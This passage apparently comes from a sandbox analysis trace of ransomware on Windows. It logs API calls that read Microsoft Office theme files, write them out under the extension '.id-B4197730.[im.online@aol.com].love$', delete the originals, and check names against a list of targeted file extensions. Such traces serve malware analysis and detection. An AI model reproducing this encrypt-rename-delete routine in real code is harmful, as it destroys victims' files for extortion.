(lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Inset.eftx.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\inset.eftx.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0249.879] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Inset.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\inset.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x488 [0249.880] SetFilePointerEx (in: hFile=0x488, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0249.880] SetFilePointerEx (in: hFile=0x488, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0249.880] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Inset.eftx.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\inset.eftx.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0249.881] GetLastError () returned 0x0 [0249.881] ReadFile (in: hFile=0x488, lpBuffer=0x3fde020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x382fecc, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesRead=0x382fecc*=0xafab, lpOverlapped=0x0) returned 1 [0249.884] WriteFile (in: hFile=0x538, lpBuffer=0x3fde020*, nNumberOfBytesToWrite=0xafb0, lpNumberOfBytesWritten=0x382fc94, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesWritten=0x382fc94*=0xafb0, lpOverlapped=0x0) returned 1 [0249.887] ReadFile (in: hFile=0x488, lpBuffer=0x3fde020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x382fecc, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesRead=0x382fecc*=0x0, lpOverlapped=0x0) returned 1 [0249.887] WriteFile (in: hFile=0x538, lpBuffer=0x3fde020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x382fc94, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesWritten=0x382fc94*=0xe8, lpOverlapped=0x0) returned 1 [0249.887] SetEndOfFile (hFile=0x538) returned 1 [0249.887] CloseHandle (hObject=0x538) returned 1 [0249.888] SetFilePointerEx (in: hFile=0x488, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0249.888] SetEndOfFile (hFile=0x488) returned 1 [0249.892] CloseHandle (hObject=0x488) returned 1 [0249.892] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Inset.eftx.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0249.892] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Inset.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\inset.eftx")) returned 1 [0249.893] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Inset.eftx") returned 82 [0249.893] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Inset.eftx") returned 82 [0249.893] lstrlenW (lpString=".doc") returned 4 [0249.893] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0249.893] lstrlenW (lpString=".docx") returned 5 [0249.894] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0249.894] lstrlenW (lpString=".pdf") returned 4 [0249.894] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0249.894] lstrlenW (lpString=".xls") returned 4 [0249.894] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0249.894] lstrlenW (lpString=".xlsx") returned 5 [0249.894] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0249.894] lstrlenW (lpString=".ppt") returned 4 [0249.894] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0249.894] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Inset.eftx") returned 82 [0249.894] lstrlenW (lpString=".zip") returned 4 [0249.894] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0249.894] lstrlenW (lpString=".rar") returned 4 [0249.894] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0249.894] lstrlenW (lpString=".bz2") returned 4 [0249.894] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0249.894] lstrlenW (lpString=".7z") returned 3 [0249.894] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0249.894] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Inset.eftx") returned 82 [0249.894] lstrlenW (lpString=".dbf") returned 4 [0249.894] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0249.894] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Inset.eftx") returned 82 [0249.894] lstrlenW (lpString=".1cd") returned 4 [0249.894] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0249.894] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Inset.eftx") returned 82 [0249.894] lstrlenW (lpString=".jpg") returned 4 [0249.894] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0249.895] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Inset.eftx") returned 82 [0249.895] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Inset.eftx") returned 82 [0249.895] lstrlenW (lpString=".doc") returned 4 [0249.895] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0249.895] lstrlenW (lpString=".docx") returned 5 [0249.895] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0249.895] lstrlenW (lpString=".pdf") returned 4 [0249.895] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0249.895] lstrlenW (lpString=".xls") returned 4 [0249.895] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0249.895] lstrlenW (lpString=".xlsx") returned 5 [0249.895] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0249.895] lstrlenW (lpString=".ppt") returned 4 [0249.895] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0249.895] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Inset.eftx") returned 82 [0249.895] lstrlenW (lpString=".zip") returned 4 [0249.895] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0249.895] lstrlenW (lpString=".rar") returned 4 [0249.895] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0249.895] lstrlenW (lpString=".bz2") returned 4 [0249.895] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0249.895] lstrlenW (lpString=".7z") returned 3 [0249.895] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0249.895] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Inset.eftx") returned 82 [0249.895] lstrlenW (lpString=".dbf") returned 4 [0249.895] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0249.895] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Inset.eftx") returned 82 [0249.895] lstrlenW (lpString=".1cd") returned 4 [0249.895] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0249.895] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Inset.eftx") returned 82 [0249.895] lstrlenW (lpString=".jpg") returned 4 [0249.896] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0249.896] lstrcmpiW (lpString1=".eftx", lpString2=".love$") returned -1 [0249.896] lstrlenW (lpString="Milk Glass.eftx") returned 15 [0249.896] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Milk Glass.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\milk glass.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x488 [0249.897] GetFileSizeEx (in: hFile=0x488, lpFileSize=0x382ff14 | out: lpFileSize=0x382ff14*=46403) returned 1 [0249.897] CloseHandle (hObject=0x488) returned 1 [0249.897] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Milk Glass.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\milk glass.eftx")) returned 0x220 [0249.897] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Milk Glass.eftx.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\milk glass.eftx.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0249.897] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Milk Glass.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\milk glass.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x488 [0249.898] SetFilePointerEx (in: hFile=0x488, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0249.898] SetFilePointerEx (in: hFile=0x488, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0249.898] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Milk Glass.eftx.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\milk glass.eftx.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0249.899] GetLastError () returned 0x0 [0249.899] ReadFile (in: hFile=0x488, lpBuffer=0x3fde020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x382fecc, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesRead=0x382fecc*=0xb543, lpOverlapped=0x0) returned 1 [0249.949] WriteFile (in: hFile=0x538, lpBuffer=0x3fde020*, nNumberOfBytesToWrite=0xb550, lpNumberOfBytesWritten=0x382fc94, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesWritten=0x382fc94*=0xb550, lpOverlapped=0x0) returned 1 [0249.951] ReadFile (in: hFile=0x488, lpBuffer=0x3fde020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x382fecc, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesRead=0x382fecc*=0x0, lpOverlapped=0x0) returned 1 [0249.951] WriteFile (in: hFile=0x538, lpBuffer=0x3fde020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x382fc94, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesWritten=0x382fc94*=0xf2, lpOverlapped=0x0) returned 1 [0249.952] SetEndOfFile (hFile=0x538) returned 1 [0249.952] CloseHandle (hObject=0x538) returned 1 [0249.954] SetFilePointerEx (in: hFile=0x488, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0249.954] SetEndOfFile (hFile=0x488) returned 1 [0249.958] CloseHandle (hObject=0x488) returned 1 [0249.959] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Milk Glass.eftx.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0249.959] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Milk Glass.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\milk glass.eftx")) returned 1 [0249.960] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Milk Glass.eftx") returned 87 [0249.960] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Milk Glass.eftx") returned 87 [0249.960] lstrlenW (lpString=".doc") returned 4 [0249.960] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0249.960] lstrlenW (lpString=".docx") returned 5 [0249.960] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0249.960] lstrlenW (lpString=".pdf") returned 4 [0249.960] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0249.960] lstrlenW (lpString=".xls") returned 4 [0249.960] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0249.961] lstrlenW (lpString=".xlsx") returned 5 [0249.961] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0249.961] lstrlenW (lpString=".ppt") returned 4 [0249.961] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0249.961] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Milk Glass.eftx") returned 87 [0249.961] lstrlenW (lpString=".zip") returned 4 [0249.961] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0249.961] lstrlenW (lpString=".rar") returned 4 [0249.961] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0249.961] lstrlenW (lpString=".bz2") returned 4 [0249.961] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0249.961] lstrlenW (lpString=".7z") returned 3 [0249.961] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0249.961] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Milk Glass.eftx") returned 87 [0249.961] lstrlenW (lpString=".dbf") returned 4 [0249.961] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0249.961] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Milk Glass.eftx") returned 87 [0249.961] lstrlenW (lpString=".1cd") returned 4 [0249.961] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0249.961] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Milk Glass.eftx") returned 87 [0249.961] lstrlenW (lpString=".jpg") returned 4 [0249.961] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0249.961] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Milk Glass.eftx") returned 87 [0249.961] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Milk Glass.eftx") returned 87 [0249.961] lstrlenW (lpString=".doc") returned 4 [0249.961] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0249.961] lstrlenW (lpString=".docx") returned 5 [0249.962] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0249.962] lstrlenW (lpString=".pdf") returned 4 [0249.962] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0249.962] lstrlenW (lpString=".xls") returned 4 [0249.962] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0249.962] lstrlenW (lpString=".xlsx") returned 5 [0249.962] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0249.962] lstrlenW (lpString=".ppt") returned 4 [0249.962] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0249.962] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Milk Glass.eftx") returned 87 [0249.962] lstrlenW (lpString=".zip") returned 4 [0249.962] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0249.962] lstrlenW (lpString=".rar") returned 4 [0249.962] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0249.962] lstrlenW (lpString=".bz2") returned 4 [0249.962] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0249.962] lstrlenW (lpString=".7z") returned 3 [0249.962] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0249.962] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Milk Glass.eftx") returned 87 [0249.962] lstrlenW (lpString=".dbf") returned 4 [0249.962] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0249.962] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Milk Glass.eftx") returned 87 [0249.962] lstrlenW (lpString=".1cd") returned 4 [0249.962] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0249.962] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Milk Glass.eftx") returned 87 [0249.962] lstrlenW (lpString=".jpg") returned 4 [0249.962] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0249.963] lstrcmpiW (lpString1=".eftx", lpString2=".love$") returned -1 [0249.963] lstrlenW (lpString="Reflection.eftx") returned 15 [0249.963] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Reflection.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\reflection.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0249.983] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x382ff14 | out: lpFileSize=0x382ff14*=48366) returned 1 [0250.008] CloseHandle (hObject=0x528) returned 1 [0250.008] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Reflection.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\reflection.eftx")) returned 0x220 [0250.009] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Reflection.eftx.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\reflection.eftx.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0250.009] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Reflection.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\reflection.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0250.010] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0250.010] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0250.010] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Reflection.eftx.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\reflection.eftx.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0250.011] GetLastError () returned 0x0 [0250.011] ReadFile (in: hFile=0x528, lpBuffer=0x3fde020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x382fecc, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesRead=0x382fecc*=0xbcee, lpOverlapped=0x0) returned 1 [0250.016] WriteFile (in: hFile=0x548, lpBuffer=0x3fde020*, nNumberOfBytesToWrite=0xbcf0, lpNumberOfBytesWritten=0x382fc94, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesWritten=0x382fc94*=0xbcf0, lpOverlapped=0x0) returned 1 [0250.020] ReadFile (in: hFile=0x528, lpBuffer=0x3fde020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x382fecc, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesRead=0x382fecc*=0x0, lpOverlapped=0x0) returned 1 [0250.020] WriteFile (in: hFile=0x548, lpBuffer=0x3fde020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x382fc94, lpOverlapped=0x0 | out: lpBuffer=0x3fde020*, lpNumberOfBytesWritten=0x382fc94*=0xf2, lpOverlapped=0x0) returned 1 [0250.020] SetEndOfFile (hFile=0x548) returned 1 [0250.021] CloseHandle (hObject=0x548) returned 1 [0250.021] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x382fec0 | out: lpNewFilePointer=0x0) returned 1 [0250.021] SetEndOfFile (hFile=0x528) returned 1 [0250.068] CloseHandle (hObject=0x528) returned 1 [0250.068] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Reflection.eftx.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0250.068] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Reflection.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\reflection.eftx")) returned 1 [0250.070] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Reflection.eftx") returned 87 [0250.070] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Reflection.eftx") returned 87 [0250.070] lstrlenW (lpString=".doc") returned 4 [0250.070] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0250.070] lstrlenW (lpString=".docx") returned 5 [0250.070] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0250.070] lstrlenW (lpString=".pdf") returned 4 [0250.070] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0250.070] lstrlenW (lpString=".xls") returned 4 [0250.070] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0250.070] lstrlenW (lpString=".xlsx") returned 5 [0250.070] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0250.070] lstrlenW (lpString=".ppt") returned 4 [0250.070] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0250.070] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Reflection.eftx") returned 87 [0250.070] lstrlenW (lpString=".zip") returned 4 [0250.070] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0250.070] lstrlenW (lpString=".rar") returned 4 [0250.070] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0250.070] lstrlenW (lpString=".bz2") returned 4 [0250.070] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0250.070] lstrlenW (lpString=".7z") returned 3 [0250.070] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0250.071] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Reflection.eftx") returned 87 [0250.071] lstrlenW (lpString=".dbf") returned 4 [0250.071] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0250.071] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Reflection.eftx") returned 87 [0250.071] lstrlenW (lpString=".1cd") returned 4 [0250.071] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0250.071] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Reflection.eftx") returned 87 [0250.071] lstrlenW (lpString=".jpg") returned 4 [0250.071] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0250.071] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Reflection.eftx") returned 87 [0250.071] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Reflection.eftx") returned 87 [0250.071] lstrlenW (lpString=".doc") returned 4 [0250.071] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0250.071] lstrlenW (lpString=".docx") returned 5 [0250.071] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0250.071] lstrlenW (lpString=".pdf") returned 4 [0250.071] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0250.071] lstrlenW (lpString=".xls") returned 4 [0250.071] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0250.071] lstrlenW (lpString=".xlsx") returned 5 [0250.071] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0250.071] lstrlenW (lpString=".ppt") returned 4 [0250.071] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0250.071] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Reflection.eftx") returned 87 [0250.071] lstrlenW (lpString=".zip") returned 4 [0250.071] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0250.071] lstrlenW (lpString=".rar") returned 4 [0250.072] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0250.072] lstrlenW (lpString=".bz2") returned 4 [0250.072] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0250.072] lstrlenW (lpString=".7z") returned 3 [0250.072] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0250.072] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Reflection.eftx") returned 87 [0250.072] lstrlenW (lpString=".dbf") returned 4 [0250.072] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0250.072] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Reflection.eftx") returned 87 [0250.072] lstrlenW (lpString=".1cd") returned 4 [0250.072] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0250.072] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Reflection.eftx") returned 87 [0250.072] lstrlenW (lpString=".jpg") returned 4 [0250.072] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0250.072] lstrcmpiW (lpString1=".eftx", lpString2=".love$") returned -1 [0250.072] lstrlenW (lpString="Smokey Glass.eftx") returned 17 [0250.072] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Smokey Glass.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\smokey glass.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0250.073] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x382ff14 | out: lpFileSize=0x382ff14*=186195) returned 1 [0250.073] CloseHandle (hObject=0x528) returned 1 [0250.073] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Smokey Glass.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\smokey glass.eftx")) returned 0x220 [0250.074] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Smokey Glass.eftx.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\smokey glass.eftx.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0250.074] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Smokey Glass.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\smokey glass.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, 